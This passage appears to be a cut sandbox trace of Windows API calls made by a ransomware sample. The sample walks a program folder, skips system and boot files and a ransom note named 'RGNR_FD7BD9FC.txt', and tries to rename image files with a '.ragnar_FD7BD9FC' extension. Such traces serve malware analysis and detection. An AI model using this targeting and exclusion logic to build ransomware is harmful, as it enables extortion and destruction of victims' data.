dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0079.018] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2=".") returned 1 [0079.018] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="..") returned 1 [0079.018] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0079.018] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2=".") returned 1 [0079.018] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="..") returned 1 [0079.018] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0 [0079.018] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.018] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8156b2a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8156b2a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.018] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8156b2a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8156b2a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.018] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0079.018] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.018] lstrcpyW (in: lpString1=0x1eab5a, lpString2="16_9-frame-background.png" | out: lpString1="16_9-frame-background.png") returned="16_9-frame-background.png" [0079.018] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png") returned=".png" [0079.018] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.018] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="autorun.inf") returned -1 [0079.018] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="boot.ini") returned -1 [0079.018] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="bootfont.bin") returned -1 [0079.018] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="bootsect.bak") returned -1 [0079.018] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="bootmgr") returned -1 [0079.018] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="bootmgr.efi") returned -1 [0079.018] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="bootmgfw.efi") returned -1 [0079.018] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="desktop.ini") returned -1 [0079.018] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="iconcache.db") returned -1 [0079.018] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="ntldr") returned -1 [0079.018] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="ntuser.dat") returned -1 [0079.018] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="ntuser.dat.log") returned -1 [0079.018] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="ntuser.ini") returned -1 [0079.019] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="thumbs.db") returned -1 [0079.019] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.019] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.019] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.019] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.019] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.019] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.019] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png")) returned 0x20 [0079.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.020] CloseHandle (hObject=0xffffffff) returned 0 [0079.020] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" [0079.020] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png.ragnar_FD7BD9FC" [0079.020] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.020] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0079.020] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.020] lstrcpyW (in: lpString1=0x1eab5a, lpString2="16_9-frame-highlight.png" | out: lpString1="16_9-frame-highlight.png") returned="16_9-frame-highlight.png" [0079.020] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned=".png" [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="autorun.inf") returned -1 [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="boot.ini") returned -1 [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="bootfont.bin") returned -1 [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="bootsect.bak") returned -1 [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="bootmgr") returned -1 [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="bootmgr.efi") returned -1 [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="bootmgfw.efi") returned -1 [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="desktop.ini") returned -1 [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="iconcache.db") returned -1 [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="ntldr") returned -1 [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="ntuser.dat") returned -1 [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="ntuser.dat.log") returned -1 [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="ntuser.ini") returned -1 [0079.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="thumbs.db") returned -1 [0079.020] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.020] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.020] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.020] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.021] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.021] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.021] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png")) returned 0x20 [0079.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.021] CloseHandle (hObject=0xffffffff) returned 0 [0079.021] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" [0079.021] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png.ragnar_FD7BD9FC" [0079.021] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.021] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0079.021] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.021] lstrcpyW (in: lpString1=0x1eab5a, lpString2="16_9-frame-image-mask.png" | out: lpString1="16_9-frame-image-mask.png") returned="16_9-frame-image-mask.png" [0079.021] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png") returned=".png" [0079.021] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.021] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="autorun.inf") returned -1 [0079.021] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="boot.ini") returned -1 [0079.021] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="bootfont.bin") returned -1 [0079.021] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="bootsect.bak") returned -1 [0079.021] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="bootmgr") returned -1 [0079.021] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="bootmgr.efi") returned -1 [0079.021] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="bootmgfw.efi") returned -1 [0079.022] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="desktop.ini") returned -1 [0079.022] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="iconcache.db") returned -1 [0079.022] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="ntldr") returned -1 [0079.022] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="ntuser.dat") returned -1 [0079.022] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="ntuser.dat.log") returned -1 [0079.022] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="ntuser.ini") returned -1 [0079.022] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="thumbs.db") returned -1 [0079.022] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.022] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.022] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.022] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.022] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.022] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.022] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png")) returned 0x20 [0079.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.022] CloseHandle (hObject=0xffffffff) returned 0 [0079.022] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" [0079.022] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png.ragnar_FD7BD9FC" [0079.022] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.023] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0079.023] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.023] lstrcpyW (in: lpString1=0x1eab5a, lpString2="16_9-frame-overlay.png" | out: lpString1="16_9-frame-overlay.png") returned="16_9-frame-overlay.png" [0079.023] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png") returned=".png" [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="autorun.inf") returned -1 [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="boot.ini") returned -1 [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="bootfont.bin") returned -1 [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="bootsect.bak") returned -1 [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="bootmgr") returned -1 [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="bootmgr.efi") returned -1 [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="bootmgfw.efi") returned -1 [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="desktop.ini") returned -1 [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="iconcache.db") returned -1 [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="ntldr") returned -1 [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="ntuser.dat") returned -1 [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="ntuser.dat.log") returned -1 [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="ntuser.ini") returned -1 [0079.023] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="thumbs.db") returned -1 [0079.023] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.023] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.023] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.023] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.023] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.023] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.023] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png")) returned 0x20 [0079.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.024] CloseHandle (hObject=0xffffffff) returned 0 [0079.024] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" [0079.024] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png.ragnar_FD7BD9FC" [0079.024] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.024] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0079.024] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.024] lstrcpyW (in: lpString1=0x1eab5a, lpString2="background.png" | out: lpString1="background.png") returned="background.png" [0079.024] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png") returned=".png" [0079.024] lstrcmpiW (lpString1="background.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.024] lstrcmpiW (lpString1="background.png", lpString2="autorun.inf") returned 1 [0079.024] lstrcmpiW (lpString1="background.png", lpString2="boot.ini") returned -1 [0079.024] lstrcmpiW (lpString1="background.png", lpString2="bootfont.bin") returned -1 [0079.024] lstrcmpiW (lpString1="background.png", lpString2="bootsect.bak") returned -1 [0079.024] lstrcmpiW (lpString1="background.png", lpString2="bootmgr") returned -1 [0079.024] lstrcmpiW (lpString1="background.png", lpString2="bootmgr.efi") returned -1 [0079.024] lstrcmpiW (lpString1="background.png", lpString2="bootmgfw.efi") returned -1 [0079.024] lstrcmpiW (lpString1="background.png", lpString2="desktop.ini") returned -1 [0079.024] lstrcmpiW (lpString1="background.png", lpString2="iconcache.db") returned -1 [0079.024] lstrcmpiW (lpString1="background.png", lpString2="ntldr") returned -1 [0079.024] lstrcmpiW (lpString1="background.png", lpString2="ntuser.dat") returned -1 [0079.024] lstrcmpiW (lpString1="background.png", lpString2="ntuser.dat.log") returned -1 [0079.024] lstrcmpiW (lpString1="background.png", lpString2="ntuser.ini") returned -1 [0079.024] lstrcmpiW (lpString1="background.png", lpString2="thumbs.db") returned -1 [0079.024] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.024] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.024] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.025] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.025] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.025] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.025] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png")) returned 0x20 [0079.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.025] CloseHandle (hObject=0xffffffff) returned 0 [0079.026] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png") returned="\\\\?\\C:\\Program Files\\DVD 